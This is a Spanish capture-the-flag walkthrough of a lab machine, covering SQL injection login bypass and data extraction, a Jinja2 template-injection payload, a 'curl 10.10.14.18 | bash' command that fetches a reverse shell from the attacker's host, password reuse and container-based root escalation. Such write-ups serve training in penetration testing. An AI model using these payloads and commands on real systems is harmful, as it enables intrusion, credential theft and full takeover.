Enumeración
Para comenzar voy a realizar un escaneo de puertos con nmap:
Únicamente se encuentra abierto el puerto 80, así que voy a ingresar la IP en el navegador para acceder a la página y ver de que se trata.
Probé con listar directorios ocultos o averiguar dominios alternativos pero no encontré nada, así que me puse a analizar la página y ver si lograba dar con algo interesante.
Noté que podía iniciar sesión o incluso crear una cuenta, así que me voy a centrar acá realizando algunas pruebas para ver si detecto algo interesante.
Realizando pruebas descubrí que el sitio es vulnerable a la inyección SQL. Lo que hice fue crearme una nueva cuenta y luego por medio de burpsuit intentar accedes a esa cuenta únicamente usando la contraseña y pasando la sentencia de SQL 'or 1=1 -- como usuario.
En la imagen se puede ver como me devuelve el mensaje 'Login Success', lo que significa que me pude loguear con éxito. Por otro lado bajando un poco veo también el mensaje 'Welcome adminamatcode' (amatcode es el nombre con el que me registre):
Esto puede significar que el sitio esta listando todos los usuarios que hay en la base de datos. El causante de esto es que la sentencia que pase en el nombre de usuario ('or 1=1 --) siempre es verdadera, con lo cual me lista todos los usuarios de la tabla users.
Ahora voy a intentar concatenar consultas para lograr interactuar con la base de datos y ver que información puedo extraer.
Explotación
En primer lugar para poder concatenar consultas y así extraer información necesita saber que cantidad de columnas hay en la tabla para evitar que me devuelva un error:
Cada null representa una columna, así que puedo decir que la tabla tiene 4 columnas. Para entenderlo mejor, lo que hice fue agregar un null a la sentencia y enviarla, si me devolvía agregaba otro null y así sucesivamente hasta que me devuelva "Login success",
También veo que me devuelve un mensaje "Welcome main". Con lo cuál ya sé que "main" es el nombre de la base de datos.
Ahora que ya conozco la cantidad de columnas, voy a listar todos los nombres de las tablas que tiene la base de datos:
Y ahora voy a listar los nombres de las columnas:
Una vez que conozco los nombres de las columnas voy a ver que datos contienen, para eso yso la sentencia concat, la cuál me permite concatenar todos los datos:
Me devolvió un hash asociado al usuario admin, el paso siguiente es descifrar ese hash:
Así obtengo la contraseña "superadministrator".
Dentro de la página de administración, veo que hay un engranaje, el cuál me lleva a un login de administración. Al loguearme con el usuario admin y la contraseña obtengo la sesión.
Navegando un poco en la página veo que en la seccion de configuración del perfil se me permite modificar el nombre, fecha de nacimiento y telefono. Al modificarlo se muestra en pantalla los datos que le paso:
Esto me da un indicio de que la plantilla podría ser vulnerable a SSTI. Para corroborarlo voy a ingresar en el unput de "Full Name" lo siguiente: {{7*7}}.
Esto me devuelve 49, lo que quiere decir que es vulnerable a SSTI (Inyección de plantillas).
Lo que voy a hacer ahora es pasar un payload en el input, este payload me va a permitir ejecutar comandos.
Los payloads los obtuve del siguiente repositorio: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---basic-injection
Así que bien, voy a usar el siguiente payload:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
En donde dice 'id', lo voy a reemplazar por el comando que quiero ejecutar, en este caso 'curl 10.10.14.18 | bash' (10.10.14.18 es la IP de mi máquina).
Paralelamente a esto voy a crear un archivo index.html y dentro de el voy a incluir un script de bash que me permita realizar una reverse shell:
También voy a crear un servidor de Python para poder acceder a este index.html desde el input del admin:
Y por último voy a crear un puerto de escucha con netcat donde recibiremos la sesión.
Al ingresar el payload en el input y darle en guardar recibo en la terminal de netcat la reverse shell:
Navegando hasya el home/augustus encontré el user.txt.
Escalada de Privilegios
Por lo que puedo ver no estoy dentro de la máquina víctima, sino que estoy en un contenedor. De esto me di cuenta ya que al listar los archivos dentro de "augustus" veo que muestra permisos de un usuario "1000", pero no existe ningun usuario con ese nombre:
Me puse a revisar si se encontraba algún puerto abierto y así fue, los puertos 22 y 80 estaban abiertos.
Voy a probar conectándome con el usuario "augustus" y reutilizando la contraseña que habíamos descubierto (superadministrator):
Y así consigo ingresar al host de la máquina.
Ahora bien, al tener el directorio "augustus" montado en un contenedor, lo que puedo hacer es copiar el bash en el directorio "augustus" para luego editar el bash desde el contenedor (en el contendor tengo permisos de root) y así ingresar como usuario root.
Voy a comenzar copiando el bash en el directorio "augustus":
Ahora voy a salirme de la shell para volver al contenedor y darle a la bash permisos de root.
Luego vuelvo a ingresar a la shell para ejecutar el bash y así obtener el usuario root:
Así obtengo el usuario root. Ahora solo resta dirigirme a la carpeta root para obtener la bandera.
Espero que este tutorial te haya sido de ayuda!